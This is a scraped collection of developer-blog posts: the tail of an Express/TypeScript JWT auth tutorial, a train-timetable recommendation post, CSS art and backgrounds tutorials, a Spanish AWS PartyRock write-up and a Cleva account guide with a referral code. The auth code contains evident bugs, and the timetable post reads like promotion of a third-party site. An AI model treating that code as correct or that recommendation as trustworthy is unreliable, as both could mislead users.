return res.status(400).send({ errors: [{ message: "Bad Request" }] });
}
return null;
};
const ErrorHandler = (err: Error, _req: Request, res: Response, _next: NextFunction) => {
const handledError = ErrorFactory(err, res);
if (!handledError) {
console.log(JSON.stringify(`Unhandled error: ${err}`, null, 2));
return res
.status(500)
.send({ errors: [{ message: "Internal server error" }] });
}
};
export default ErrorHandler;
```
So, our ErrorHandler middleware uses ErrorFactory to handle various error types, including Prisma errors. If error isn't handled by ErrorFactory, then we send `Internal server error` with status code of 500.
Let's use this middleware globally. Go to `src/app.ts`
```typescript
import ErrorHandler from "./middlewares/ErrorHandler"
import { HttpException } from "./utils/HttpExceptions"
//the rest of the code...
//Handling not existing routes
app.use((_req: Request, _res: Response, next: NextFunction) => {
next(new HttpException(404, "Route not found"));
});
//Error handling
app.use(ErrorHandler);
const initializeApp = async () => {
//the rest of the code...
```
Now we can use our own custtom error class, so let's implement it inside of the `UserService.ts`:
```typescript
//the rest of the code...
async getById(id: string) {
const user = await this.userRepository.getById(id);
if (!user) throw new HttpException(404, "User not found");
return user;
}
//the rest of the code...
```
And with that, we can create our user routes. Open the terminal and paste the following:
```
cd src
mkdir routes
cd routes
touch AppRoutes.ts
touch UserRoutes.ts
cd ../..
```
In the `UserRoutes.ts` file:
```typescript
import { Router } from "express";
import UserController from "../controllers/UserController";
const userController = new UserController();
const router = Router()
router
.get("/", userController.getAll.bind(userController))
.get("/:id", userController.getById.bind(userController))
.post("/", userController.create.bind(userController))
.patch("/:id", userController.update.bind(userController))
.delete(
"/:id", userController.delete.bind(userController)
);
export { router as UserRoutes };
```
Next in the `AppRoutes.ts` file:
```typescript
import { Router } from "express";
import { UserRoutes } from "./UserRoutes";
const router = Router();
router.use("/users", UserRoutes);
export { router as AppRoutes }
```
Let's import and use AppRoutes inside of our `src/app.ts` file:
```typescript
import { AppRoutes } from "./routes/AppRoutes"
//Routes
app.use("/api", AppRoutes);
//Handling not existing routes
app.use((_req: Request, _res: Response, next: NextFunction) => {
next(new HttpException(404, "Route not found"));
});
//Error handling
app.use(ErrorHandler);
```
**Step 3: Validation**
Now that we have user routes and error handling middleware, we can start implementing validations. Let's define our validation schemas using Zod. Open the terminal:
```
cd src
mkdir validations
cd validations
touch UserValidations.ts
cd ../..
```
Inside of `UserValidations.ts`:
```typescript
import { Role } from "@prisma/client";
import { z } from "zod";
const phoneRegex = new RegExp(/^\(?([0-9]{3})\)?[-. ]?([0-9]{3})[-. ]?([0-9]{4})$/);
export const createUserSchema = z.object({
fname: z.string().min(1, { message: "Must contain at least 1 character" }),
lname: z.string().min(1, { message: "Must contain at least 1 character" }),
phone: z.string().regex(phoneRegex, "Must be a valid phone number"),
email: z.string().email({ message: "Must be a valid email address" }),
password: z.string().min(6, { message: "Must be at least 6 characters long" }),
roles: z.array(z.enum([Role.ADMIN, Role.MANAGER, Role.USER])).optional(),
refreshToken: z.string().optional(),
});
export type CreateUserInput = z.infer<typeof createUserSchema>;
export const updateUserSchema = createUserSchema.partial();
export type UpdateUserInput = z.infer<typeof updateUserSchema>;
export const registerUserSchema = createUserSchema.omit({
roles: true,
refreshToken: true,
});
export type RegisterUserInput = z.infer<typeof registerUserSchema>;
export const loginUserSchema = registerUserSchema.omit({ fname: true, lname: true }).extend({
phone: z.string().regex(phoneRegex, "Must be a valid phone number").optional(),
email: z.string().email({ message: "Must be a valid email address" }).optional(),
});
export type LoginUserInput = z.infer<typeof loginUserSchema>;
```
Implement the types at `UserService.ts`:
```typescript
import type { Prisma } from "@prisma/client";
import bcrypt from "bcrypt";
import UserRepository from "../repositories/UserRepository";
import { HttpException } from "../utils/HttpExceptions";
import type { CreateUserInput, UpdateUserInput } from "../validations/UserValidations";
const userRepository = new UserRepository();
export default class UserService {
private userRepository: UserRepository;
constructor() {
this.userRepository = userRepository;
}
async getAll() {
return await this.userRepository.getAll();
}
async getById(id: string) {
const user = await this.userRepository.getById(id);
if (!user) throw new HttpException(404, "User not found");
return user;
}
async getByKey(key: keyof Prisma.UserWhereInput, value: Prisma.UserWhereInput[typeof key]) {
return await this.userRepository.getByKey(key, value);
}
async create(data: CreateUserInput) {
const hashedPassword = await bcrypt.hash(data.password, 10);
return await this.userRepository.create({ ...data, password: hashedPassword });
}
async update(id: string, data: UpdateUserInput) {
await this.getById(id);
if (data.password)
data.password = await bcrypt.hash(data.password, 10);
return await this.userRepository.update(id, data);
}
async delete(id: string) {
await this.getById(id);
await this.userRepository.delete(id);
}
}
```
We didn't define zod schemas just to infer types from them. Let's use them to validate requests. Open the terminal:
```
cd src/middlewares
touch ValidateRequest.ts
cd ../..
```
Inside of `ValidateRequest.ts`:
```typescript
import type { Request, Response, NextFunction } from "express";
import { type z, ZodError } from "zod";
import { HttpValidationExceptions } from "../utils/HttpExceptions";
const ValidateRequest = (validationSchema: z.Schema) => {
return (req: Request, _res: Response, next: NextFunction) => {
try {
validationSchema.parse(req.body);
next();
} catch (err) {
if (err instanceof ZodError) {
const errorMessages = err.errors.map(
(error) => `${error.path.join(".")} is
${error.message.toLowerCase()}`);
next(new HttpValidationExceptions(errorMessages));
}
}
};
};
export default ValidateRequest;
```
Usage example at `UserRoutes.ts`:
```typescript
//the rest of the code...
router
.get("/", userController.getAll.bind(userController))
.get("/:id", userController.getById.bind(userController))
.post("/", ValidateRequest(createUserSchema), userController.create.bind(userController))
.patch("/:id", ValidateRequest(updateUserSchema), userController.update.bind(userController))
.delete(
"/:id",
authMiddleware.verifyPermissions("delete"),
userController.delete.bind(userController)
);
export { router as UserRoutes };
```
**Step 4: Repeat**
Now that we have setup our UserController, UserRoutes, UserServices, validations, and error handling we will repeat the same process for our Auth module with its routes, services, controllers and middlewares. It's going to be much easier this time, trust me. Let's start by creating service for JWT.
```
cd src/services
touch JwtService.ts
cd ../..
```
At `JwtService.ts`:
```typescript
import jwt from "jsonwebtoken";
import { HttpException } from "../utils/HttpExceptions";
import dotenv from "dotenv"
dotenv.config();
export type AuthTokens = {
accessToken: string;
refreshToken: string;
};
const { ACCESS_TOKEN_SECRET, ACCESS_TOKEN_EXPIRY, REFRESH_TOKEN_SECRET, REFRESH_TOKEN_EXPIRY } = process.env as { [key: string]: string };
export class JwtService {
genAuthTokens(payload: object): AuthTokens {
const accessToken = this.sign(payload, ACCESS_TOKEN_SECRET, {
expiresIn: ACCESS_TOKEN_EXPIRY,
});
const refreshToken = this.sign(payload, REFRESH_TOKEN_SECRET, {
expiresIn: REFRESH_TOKEN_EXPIRY,
});
return { accessToken, refreshToken };
}
async verify(token: string, secret: string): Promise<jwt.JwtPayload> {
const decoded: jwt.JwtPayload = await new Promise((resolve, reject) => {
jwt.verify(token, secret, (err, decoded) => {
if (err) reject(new HttpException(403, "Forbidden"));
else resolve(decoded as jwt.JwtPayload);
});
});
return decoded;
}
sign(payload: object, secret: string, options?: jwt.SignOptions): string {
return jwt.sign(payload, secret, options);
}
}
```
Let's add the above mentioned environmental variables to our .env file. Open the terminal:
```
node
require("crypto").randomBytes(64).toString('hex')
```
(To exit the node, press `Ctrl + C` in the terminal)
These commands will generate a random set of letters and numbers which we'll use as a secret for our jwt token. Run the second command again and generate another secret. Now, we have two. Let's use one for access token secret, and the other for refresh. Open the `.env` file and paste the following:
```typescript
/* other env variables... */
/* paste the generated access secret key here */
ACCESS_TOKEN_SECRET="your_secret"
/* You can change it to hours, e.g: '1h' */
ACCESS_TOKEN_EXPIRY="60s"
/* paste the generated refresh secret key here */
REFRESH_TOKEN_SECRET="your_secret"
/* You can change it to hours, e.g: '1h' */
REFRESH_TOKEN_EXPIRY="1d"
```
Now we will implement the JwtService in our `AuthService.ts`:
```
cd src/services
touch AuthService.ts
cd ../..
```
Open `AuthService.ts`:
```typescript
import type { Role } from "@prisma/client";
import bcrypt from "bcrypt";
import UserService from "./UserService";
import { JwtService, type AuthTokens } from "./JWTService";
import type { LoginUserInput, RegisterUserInput } from "../validations/UserValidations";
import { HttpException } from "../utils/HttpExceptions";
import dotenv from "dotenv";
dotenv.config()
const userService = new UserService();
const jwtService = new JwtService();
export default class AuthService {
private readonly userService: UserService;
private readonly jwtService: JwtService;
constructor() {
this.userService = userService;
this.jwtService = jwtService;
}
async login(data: LoginUserInput): Promise<AuthTokens> {
let user;
if (data.phone) user = await this.userService.getByKey("phone", data.phone);
else user = await this.userService.getByKey("email", data.email);
if (!user || !(await bcrypt.compare(data.password, user.password)))
throw new HttpException(400, "Wrong credentials");
const { email, roles } = user;
const { accessToken, refreshToken } = this.jwtService.genAuthTokens({ email, roles });
await this.userService.update(user.id, { refreshToken });
return { accessToken, refreshToken };
}
async register(data: RegisterUserInput): Promise<AuthTokens> {
const newUser = await this.userService.create(data);
const { email, roles } = newUser;
const { accessToken, refreshToken } = this.jwtService.genAuthTokens({ email, roles });
await this.userService.update(newUser.id, { refreshToken });
return { accessToken, refreshToken };
}
async refresh(refreshToken: string): Promise<{ accessToken: string }> {
const user = await this.userService.getByKey("refreshToken", refreshToken);
if (!user) throw new HttpException(403, "Forbidden");
const decoded = await this.jwtService.verify(
refreshToken,
process.env.REFRESH_TOKEN_SECRET as string
);
const isRolesMatch = user.roles.every((role: Role) => decoded.roles.includes(role));
if (decoded.email !== user.email || !isRolesMatch)
throw new HttpException(403, "Forbidden");
const { accessToken } = this.jwtService.genAuthTokens({ email: user.email, roles: user.roles });
return { accessToken };
}
async logout(refreshToken: string) {
const user = await this.userService.getByKey("refreshToken", refreshToken);
if (user) return await this.userService.update(user.id, { refreshToken: "" });
}
}
```
So, what is going on here? In our **login** logic, we are first checking whether the user is trying to login via his phone number or email. If we fail to find a user or if we do, but his password doesn't match with the one that we have found, we throw an error, simple as that. If the user's credentials match then we can generate new access and refresh tokens for him. We update the user by saving a new refresh token, which will come in handy when implementing the AuthMiddleware and refresh method. Next, the **registration** logic: we create a new user using our UserService. This is what I was referring to as "Code reusability". See, how we don't even have to write the logic for creating a new user again from scratch. We can simply inject our UserService class inside of the AuthService and reuse some of it's methods to keep the code simpler and shorter. As for the **refresh** logic, we receive the refresh token which will be extracted from req.cookies in AuthController, how you might ask? Well, we're going to store it there when login or registering a new user. So, we extract it from there and check if the user with this refresh token does exist in our database. If he doesn't we throw an error. If he does we decode the refresh token and extract the payload from it. The payload is the user roles and email that we have encrypted to our tokens when generating them. So now, we're checking if the email and roles from the payload match with one's from the user we have found via the refresh token. If they do, then it's the same user who's sending a request for a "refresh" or a new access token. **Logout** logic: in our AuthController we will check if the refresh token set in cookies is still there. If it is, we will send it to our AuthService, where we will find a user with the same refresh token and will set his refresh token to an empty string.
Now we can go ahead and create the AuthController and implement our auth logic there:
```
cd src/controllers
touch AuthController.ts
cd ../..
```
Open `AuthController.ts`:
```typescript
import type { Request, Response, NextFunction, CookieOptions } from "express";
import AuthService from "../services/AuthService";
const COOKIE_OPTIONS: CookieOptions = {
httpOnly: true,
maxAge: 24 * 60 * 60 * 1000,
sameSite: "none",
secure: process.env.NODE_ENV === "production",
};
const authService = new AuthService();
export default class AuthController {
private readonly authService: AuthService;
constructor() {
this.authService = authService;
}
async login(req: Request, res: Response, next: NextFunction) {
try {
const { accessToken, refreshToken } = await this.authService.login(req.body);
res
.cookie("jwt", refreshToken, COOKIE_OPTIONS)
.status(200)
.send({ accessToken });
} catch (err) {
next(err);
}
}
async register(req: Request, res: Response, next: NextFunction) {
try {
const { accessToken, refreshToken } = await this.authService.register(req.body);
res
.cookie("jwt", refreshToken, COOKIE_OPTIONS)
.status(201)
.send({ accessToken });
} catch (err) {
next(err);
}
}
async refresh(req: Request, res: Response, next: NextFunction) {
try {
const { accessToken } = await this.authService.refresh(req.cookies.jwt);
res.status(200).send({ accessToken });
} catch (err) {
next(err);
}
}
async logout(req: Request, res: Response, next: NextFunction) {
try {
const refreshToken = req.cookies.jwt;
if (!refreshToken) {
res.sendStatus(204);
return;
}
const user = await this.authService.logout(refreshToken);
if (user) {
res.clearCookie("jwt", COOKIE_OPTIONS).sendStatus(204);
return;
}
res.clearCookie("jwt", COOKIE_OPTIONS).sendStatus(204);
} catch (err) {
next(err);
}
}
}
```
Done! Now, let's define our auth routes:
```
cd src/routes
touch AuthRoutes.ts
cd ../..
```
Open `AuthRoutes.ts`:
```typescript
import { Router } from "express";
import AuthController from "../controllers/AuthController";
import ValidateRequest from "../middlewares/ValidateRequest";
import { loginUserSchema, registerUserSchema } from "../validations/UserValidations";
const router = Router();
const authController = new AuthController();
router
.post("/login", ValidateRequest(loginUserSchema), authController.login.bind(authController))
.post(
"/register",
ValidateRequest(registerUserSchema),
authController.register.bind(authController)
)
.post("/refresh", authController.refresh.bind(authController))
.post("/logout", authController.logout.bind(authController));
export { router as AuthRoutes };
```
Done! Now, let's define the Auth middleware to protect our routes from being entered by unauthorized intruders:
```
cd src/middlewares
touch Auth.ts
cd ../..
```
Open `Auth.ts`:
```typescript
import type { Request, Response, NextFunction } from "express";
import { HttpException, HttpStatusCodes } from "../utils/HttpExceptions";
import jwt from "jsonwebtoken";
import configuration from "../config/configuration";
import type { Role } from "@prisma/client";
import { getPermissionsByRoles } from "../config/permissions";
import { JwtService } from "../services/JWTService";
export interface AuthRequest extends Request {
user?: {
email: string;
roles: Role[];
};
}
export default class Auth {
constructor() {}
async verifyToken(req: AuthRequest, _res: Response, next: NextFunction): Promise<void> {
try {
const { authorization } = req.headers;
if (!authorization) throw new HttpException(401, "Unauthorized");
const [type, token] = authorization.split(" ");
if (type !== "Bearer")
throw new HttpException(401, "Unauthorized");
const decoded = await new JwtService.verify(token, ACCESS_TOKEN_SECRET);
req.user = decoded as { email: string; roles: Role[] };
next();
} catch (err) {
next(err)
}
}
verifyRoles(allowedRoles: Role[]) {
return (req: AuthRequest, _res: Response, next: NextFunction): void => {
if (!req.user || !req.user?.roles)
throw new HttpException(403, "Forbidden");
const hasRoles = req.user.roles.some((role) => allowedRoles.includes(role));
if (!hasRoles) throw new HttpException(403, "Forbidden");
next();
};
}
verifyPermissions(permission: string) {
return (req: AuthRequest, _res: Response, next: NextFunction): void => {
if (!req.user || !req.user?.roles)
throw new HttpException(403, "Forbidden");
const userPermissions = getPermissionsByRoles(req.user.roles);
if (!userPermissions || !userPermissions.includes(permission))
throw new HttpException(403, `You are forbidden to ${permission}`);
next();
};
}
}
```
Let's break it down: The authentication middleware executes before the request reaches the controller, acting as a guard to protect routes from unauthorized access. For instance, the **verifyToken** middleware checks if the user has signed in or signed up, as in both cases, the user receives an access token. This token is sent to the frontend and stored, typically in a cookie, session storage, or local storage, and is included in the request headers as an authorization token, e.g., "Bearer access_token" or sometimes "Token access_token". Whenever a user tries to access a protected route or resource, their request must include this token in the authorization header.
The verifyToken middleware verifies and decodes this token. If the request lacks the token, it is likely that the user is not logged in or has not signed up. If the token is present, it is verified and decoded. If the token is valid (not expired and of the correct type), the user is granted access to the route. Otherwise, a "Forbidden" error is sent. Finally, the middleware sets request.user to the decoded payload (email, roles) extracted from the token during the verification process. verifyRoles Middleware
Next up, we have the **verifyRoles** middleware. As the name implies, this middleware verifies the roles of the user attempting to access a route. It takes an array of allowed roles and checks if the user has any of these roles. If the user has the required roles, they are granted access to the route; otherwise, they are forbidden.
How does verifyRoles work?
This middleware runs after the verifyToken middleware, which sets req.user to the decoded payload from the access token. The payload contains the user's email and roles.
The middleware checks if the user's roles include at least one role from the allowed roles array. If at least one role matches, the user is authorized to proceed. Otherwise, access is denied.
Lastly, we have the **verifyPermissions** middleware. Much like verifyRoles, this middleware relies on the information provided in the access token and accesses user roles. Its purpose however, is to verify whether the user has roles that grant the specified permission.
How does verifyPermissions work?
Like verifyRoles, this middleware operates after the verifyToken middleware.
The "allowed permission" is passed as an argument to verifyPermissions. The middleware extracts the user's roles from req.user and uses a function getPermissionsByRoles (which we haven't yet defined but we will in a moment) to determine the permissions associated with these roles.
If the user's permissions include the specified permission, they are permitted to access the route. Otherwise, access is denied.
To sum up, these middlewares enhance security by ensuring that users have the appropriate roles and permissions to access specific routes or perform certain actions.
To define the permissions and getPermissionsByRoles function do the following:
```
cd src/config
touch permissions.ts
cd ../..
```
Open `permissions.ts`:
```typescript
import { Role } from "@prisma/client";
type Permissions = {
[key: string]: {
[key: string]: string;
};
};
export const permissions: Permissions = {
basic: {
read: "read",
create: "create",
update: "update",
delete: "delete",
},
};
const userPermissions = [permissions.basic.read];
const managerPermissions = [...userPermissions, permissions.basic.create, permissions.basic.update];
const adminPermissions = [...managerPermissions, permissions.basic.delete];
const permissionsByRole = {
[Role.USER]: userPermissions,
[Role.MANAGER]: managerPermissions,
[Role.ADMIN]: adminPermissions,
};
export const getPermissionsByRoles = (roles: Role[]) => {
const permissionsSet = new Set<string>();
roles.forEach((role) => {
permissionsByRole[role].forEach((permission) => {
permissionsSet.add(permission);
});
});
const permissions = Array.from(permissionsSet);
if (permissions.length === 0) return null;
return permissions;
};
```
For now, we will keep the permissions simple and straightforward and store them as basic permissions. You can always define your own permissions by expanding the permissions object. Currently, our users are only allowed to "read", while managers and admins can perform any actions except managers can not "delete".
To showcase the use of our Auth middleware let's go ahead and use it to protect the UserRoutes.
At `AppRoutes.ts`:
```typescript
import { Router } from "express";
import { UserRoutes } from "./UserRoutes";
import { AuthRoutes } from "./AuthRoutes";
import Auth from "../middlewares/Auth";
import { Role } from "@prisma/client";
const router = Router();
const authMiddleware = new Auth();
router.use(
"/users",
authMiddleware.verifyToken,
authMiddleware.verifyRoles([Role.MANAGER, Role.ADMIN]),
UserRoutes
);
router.use("/auth", AuthRoutes);
export { router as AppRoutes };
```
At `UserRoutes.ts`:
```typescript
import { Router } from "express";
import UserController from "../controllers/UserController";
import ValidateRequest from "../middlewares/ValidateRequest";
import { createUserSchema, updateUserSchema } from "../validations/UserValidations";
import Auth from "../middlewares/Auth";
const userController = new UserController();
const authMiddleware = new Auth();
const router = Router();
router
.get("/", userController.getAll.bind(userController))
.get("/:id", userController.getById.bind(userController))
.post("/", ValidateRequest(createUserSchema), userController.create.bind(userController))
.patch("/:id", ValidateRequest(updateUserSchema), userController.update.bind(userController))
.delete(
"/:id",
authMiddleware.verifyPermissions("delete"),
userController.delete.bind(userController)
);
export { router as UserRoutes };
```
Done! Let's test our api to check if everything is working properly and we can finally wrap this whole thing up.
We have just registered a new user! Now let's take this access token and set it in authorization headers. Click on "Headers" tab if you're also testing the api in Postman and set the authorization header as shown in image below:
Set the route to `http://localhost:3000/api/users` and the method to `GET` and click on `Send`:
And we got an error, as we were supposed to since the expiry date of our access token is set to 60 seconds and I'm pretty sure that by the time all of you guys reading this article got to the point of pasting the token in headers and clicked on send, the minute has long passed. So, try it again following the same instructions or simply go to your `.env` file and prolong the expiry date of your access token. Let's try it again:
We're still getting an error. That is because we only allow admins or managers to access the user routes. Let's temporarily loosen our security and comment out the role verification.
Now, get the new token and try to access the same `http://localhost:3000/api/users` route:
Copy any user's id and change the url as follows `http://localhost:3000/api/users/your_user_id` and change the method to `DELETE`, then `Send` (don't forget to refresh your token):
There you go. Our "verifyPermissions" middleware has worked properly. Since our user is not an admin he isn't permitted to delete other users. You can now uncomment the verifyRoles middleware at `AppRoutes.ts`.
Congratulations! We have implemented user authentication and authorization in our backend express api. This was a long read for sure, but I hope you guys enjoyed it. If you did, pls be sure to leave a like and sub for more content and if you have any suggestions or complaints regarding the code or implementations then please make sure to inform me in the comments below. Good luck on your programming journey! Bye!
| owo_frostyy_df9242c6be6f5 | |
1,881,621 | Where to Find Train Timetable Schedule in Germany? | Hey everyone, I'm planning a trip to Germany and I'm in need of some assistance. Could anyone please... | 0 | 2024-06-08T23:52:01 | https://dev.to/lucast/where-to-find-train-timetable-schedule-in-germany-5370 | Hey everyone, I'm planning a trip to Germany and I'm in need of some assistance. Could anyone please guide me on where I can find the most reliable train timetable schedule for traveling within Germany? I'm particularly interested in finding schedules for different routes and destinations across the country.
I receive this question many times a month. Here's the answer.
In case anyone else is looking for the same information, I came across [Deutsche Bahn Fahrplan](https://www.dbfahrplanauskunft.com/de/), which seems to be a comprehensive resource for train schedules in Germany. It provides detailed information on routes, departure times, and even allows you to book tickets online. I found it extremely helpful in planning my travel itinerary. So if you're planning a trip to Germany and need to figure out your train schedules, I highly recommend checking out Deutsche Bahn Fahrplan. It's user-friendly and provides accurate and up-to-date information for your convenience.
| lucast | |
1,881,619 | Beach CSS Art: Frontend Challenge: June Edition | This is a submission for Frontend Challenge v24.04.17, CSS Art: June. ... | 0 | 2024-06-08T23:45:58 | https://dev.to/pinky057/beach-css-art-frontend-challenge-june-edition-2lp3 | frontendchallenge, devchallenge, css, webdev | _This is a submission for [Frontend Challenge v24.04.17](https://dev.to/challenges/frontend-2024-05-29), CSS Art: June._
## Inspiration
Creating a dynamic beach scene with moving clouds, waving sea, and detailed elements like trees and sand offers an exciting opportunity to blend creativity with technical skill. This project not only enhances your understanding of advanced CSS techniques but also provides a visually satisfying outcome. Imagine bringing a serene and lively beach landscape to life on a web page, where every element moves and interacts seamlessly. It's a perfect way to challenge yourself, improve your web design capabilities, and produce something truly beautiful and engaging. Embrace this project as a chance to transform simple lines of code into a vibrant, animated scene that showcases both your artistic vision and your coding prowess.
## Demo
{% codepen https://codepen.io/Ishrat_Pinky/pen/qBGjQBX %}
## Journey
From this project, you learned several key concepts and skills in CSS and web design:
1. **CSS Layout and Positioning**:Understood how to utilize CSS properties such as `position`, `width`, `height`, and `clip-path` to construct intricate layouts and precisely position elements within the viewport.
2. **Gradient Backgrounds**: Learned to use linear gradients (`linear-gradient`) to create visually appealing backgrounds for the sky, sea, and sand, ensuring a smooth transition of colours.
3. **Animation with Keyframes**:Explored CSS animations using `@keyframes`, learning to animate properties such as `background-position` and `margin-left` to create dynamic effects, like moving clouds and a waving sea.
4. **Responsive Design**: practised making responsive designs using relative units (`vmin`, `vh`, `%`), ensuring the scene adjusts well across different screen sizes.
5. **Styling Complex Shapes**: Gained experience in creating and styling complex shapes, such as trees and clouds, using CSS properties like `border-radius` and pseudo-elements (`::before`, `::after`).
6. **Using Pseudo-elements**: Utilized `::before` and `::after` to add decorative elements to your designs without additional HTML markup, enhancing the visual complexity while keeping the HTML clean.
7. **Organizing CSS Code**: Finally, improve my ability to write organized and efficient CSS code by learning to consolidate and streamline styles, making your code more readable and maintainable.
| pinky057 |
1,881,617 | Lo que aprendí de Introducción a AWS PartyRock | Después de experimentar con servicios como Amazon Q y Amazon Bedrock, que tocan temas de Generative... | 0 | 2024-06-08T23:24:26 | https://dev.to/aws-espanol/lo-que-aprendi-de-introduccion-a-aws-partyrock-1p8o | spanish, aws, ai, todayilearned | Después de experimentar con servicios como Amazon Q y Amazon Bedrock, que tocan temas de Generative AI, me dio curiosidad probar uno de sus servicios llamado PartyRock. Para ello, seguí el curso de AWS Educate "Introducción a PartyRock" y esto es lo que aprendí. (Si deseas experimentar antes de leer este artículo, te recomiendo seguirlo [aquí](https://awseducate.instructure.com/courses/1105))
Este curso es básicamente una introducción a conceptos como GenAI y la ingeniería de prompts, además de explicar qué hace PartyRock. Encontré muy intrigante el concepto de las plataformas sin código; supuse que era algo similar a Gemini o ChatGPT.
El curso detalló brevemente pero de manera muy esclarecedora lo que GenAI es capaz de hacer.
También incluía consejos útiles para construir prompts que comuniquen mejor tus ideas a la IA.
Después de aprender la teoría, estaba muy ansioso por probar la tecnología. El curso incluía una simulación interactiva en pantalla, pero la encontré un poco confusa. Así que decidí usar la tecnología directamente con el conocimiento que había adquirido.
Me sorprendió que no necesitaba iniciar sesión en mi cuenta de AWS, y podía hacerlo con múltiples opciones de inicio de sesión! Además, no me costó ni un centavo experimentar.
Soy fanático de los videojuegos, así que para la aplicación, quería crear un generador de novelas interactivas de videojuegos. Después de ingresar la descripción, la aplicación me pidió que describiera la premisa del juego y un personaje principal.
Para la premisa del juego, utilicé esto:
```
Te despiertas con un dolor de cabeza terrible. Lo último que recuerdas es asistir a la conferencia de AWS PartyRock, y ahora te encuentras en una habitación tenue con luces fluorescentes parpadeantes. Las paredes están adornadas con carteles de servicios de AWS, y hay un zumbido distintivo de servidores en el fondo. Al levantarte, notas dos objetos al alcance: una unidad USB brillante y un manual polvoriento etiquetado como "Secretos de AWS". Tu tarea es escapar de la aparentemente oscura habitación y regresar a casa.
```
Y para el personaje principal:
```
Antecedentes: Eres un apasionado entusiasta de la tecnología con un profundo conocimiento de los servicios de AWS. Con una formación en ingeniería de software y arquitectura en la nube, has pasado años dominando las complejidades de Amazon Web Services, obteniendo múltiples certificaciones en el camino.
Habilidades y Capacidades:
Experto en AWS: Posees una comprensión integral de AWS, incluyendo EC2, S3, Lambda y otros servicios fundamentales. Esta experiencia permite a Alex navegar y utilizar herramientas de AWS de manera efectiva para resolver problemas complejos.
Alta Percepción: Tienes una capacidad excepcional para notar pequeños detalles que otros podrían pasar por alto. Esta percepción aguda ayuda a identificar pistas y resolver acertijos rápida y eficientemente.
Resolución de Problemas: Conocido por un enfoque metódico y analítico, puedes desglosar desafíos complicados en partes manejables, haciendo que incluso los acertijos más difíciles parezcan sencillos.
Experto en Tecnología: Más allá de AWS, tienes conocimientos en varios lenguajes de programación, medidas de ciberseguridad y las últimas tendencias tecnológicas, asegurando un enfoque versátil para cualquier desafío técnico.
Personalidad: Eres curioso, ingenioso y estás impulsado por el amor por el aprendizaje y la innovación. Un solucionador de problemas nato, disfrutas abordando acertijos difíciles y encontrando soluciones creativas a problemas técnicos. Amigable y colaborador, Alex suele compartir conocimientos con sus colegas y disfruta mentorar a aquellos nuevos en el mundo tecnológico.
```
Me sorprendió bastante que PartyRock creara el capítulo 1 del videojuego y además añadiera una ilustración. Recuerdo que cuando solía crear novelas visuales, crear diálogos atractivos y un storyboard era bastante desafiante, pero hacer un mundo simple con solo unas pocas palabras en segundos me dejó realmente asombrado.
Después de eso, inspeccioné otras capacidades de PartyRock. Para mi sorpresa, agregué un widget que pedía la entrada del usuario y luego usaba esa entrada para hacer dos finales diferentes en el capítulo 2. Realmente hizo que crear un videojuego corto fuera 100% más fácil, básicamente al instante.
Si quieres ver lo que creé, puedes encontrarlo [aquí](https://partyrock.aws/u/bdllerena/GfEal4tFH/Storyverse).
PartyRock es una herramienta bastante poderosa, y el único límite podría ser nuestra imaginación y la forma en que la usemos.
Me pregunto qué nos depara el futuro.
| davidshaek |
1,881,600 | CSS Backgrounds | CSS Backgrounds The CSS background property is used to set the background of an HTML... | 0 | 2024-06-08T23:15:34 | https://www.devwares.com/blog/css-backgrounds/ | css, webdev, beginners, programming | ## CSS Backgrounds
The CSS background property is used to set the background of an HTML element. It is a shorthand property for setting individual background properties in a single declaration.
```css
body {
background: #ffffff url('image.png') no-repeat right top;
}
```
In this example, we set the background color to white, the background image to 'image.png', the background repeat to 'no-repeat', and the background position to 'right top'.
However, the `background` property is a shorthand, so let's break down the individual properties:
## Background Color
The [background-color](https://www.devwares.com/tailwindcss/classes/tailwind-background-color/) property sets the background color of an element. It can take any valid color value.
```css
body {
background-color: #ffffff;
}
```
In this example, the background color of the body is set to white.
## Background Image
The [background image](https://www.devwares.com/tailwindcss/classes/tailwind-background-image/) property sets one or more background images for an element. The images are drawn on stacking context layers, with the first specified being drawn as if it is closest to the user.
```css
body {
background-image: url('image.png');
}
```
In this example, the background image of the body is set to 'image.png'.
## Background Repeat
The [background-repeat](https://www.devwares.com/tailwindcss/classes/tailwind-background-repeat/) property sets if/how a background image will be repeated. By default, a background-image is repeated both vertically and horizontally.
```css
body {
background-repeat: no-repeat;
}
```
In this example, the background image of the body is set to not repeat.
## Background Position
The [background position](https://www.devwares.com/tailwindcss/classes/tailwind-background-position/) property sets the starting position of a background image.
```css
body {
background-position: right top;
}
```
In this example, the background image of the body is positioned at the top-right corner.
## Background Size
The [background size](https://www.devwares.com/tailwindcss/classes/tailwind-background-size/) property specifies the size of the background images.
```css
body {
background-size: 50%;
}
```
In this example, the background image of the body is set to cover 50% of the body.
## Background-Origin
The [background-origin](https://www.devwares.com/tailwindcss/classes/tailwind-background-origin/) property specifies where the background image is positioned. It can take one of the following values: `border-box`, `padding-box`, or `content-box`.
Example:
```css
body {
background-origin: padding-box;
}
```
## Background-Clip
The [background-clip](https://www.devwares.com/tailwindcss/classes/tailwind-background-clip/) property defines how far the background (color or image) should extend within an element. It can take one of the following values: `border-box`, `padding-box`, or `content-box`.
Example:
```css
body {
background-clip: content-box;
}
```
## Background-Attachment
The [background-attachment](https://www.devwares.com/tailwindcss/classes/tailwind-background-attachment/) property sets whether a background image scrolls with the rest of the page, or is fixed.
Example:
```css
body {
background-image: url("paper.gif");
background-attachment: fixed;
}
```
 | hypercode |
1,858,573 | How to Open a USD Account on Cleva | Are you tired of the hassle and high fees associated with receiving money in USD From your... | 0 | 2024-06-08T23:09:59 | https://dev.to/hnkomuwa/how-to-open-a-usd-account-on-cleva-14n8 | usd, money, fintech, cleva | Are you tired of the hassle and high fees associated with receiving money in USD From your international transactions?
Opening a USD account on Cleva can be a game-changer for you and your business.
With a USD account, you can simplify your international transactions, save on conversion fees, and enjoy greater financial flexibility.
<br>
In this step-by-step guide, i'll show you how to open a USD account on Cleva quickly and easily, so you can start enjoying the benefits of stress-free international money management.
<br>
<hr>
Navigate the process of opening a USD account on Cleva with ease by following these five steps:
<br>
<Ol>
<Li>
<b>Step One</b>: Go to play store and download the Cleva App.
<IMG SRC = "https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cenb953wcmsavjcw6g41.jpg" alt ="Cleva from Play store">
</Li>
<Br>
<hr>
<Li>
<b>Step Two</b>
:Open up the app and input your personal details. Use the Code Harr520 so you can recieve bonuses.
<IMG SRC="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uxgmwpb3q1mrh5upr63t.jpg" alt="inputting personal details">
</Li>
<Br>
<hr>
<Li>
<b>Step Three </b>: Verify your email address and set a Password for your account.
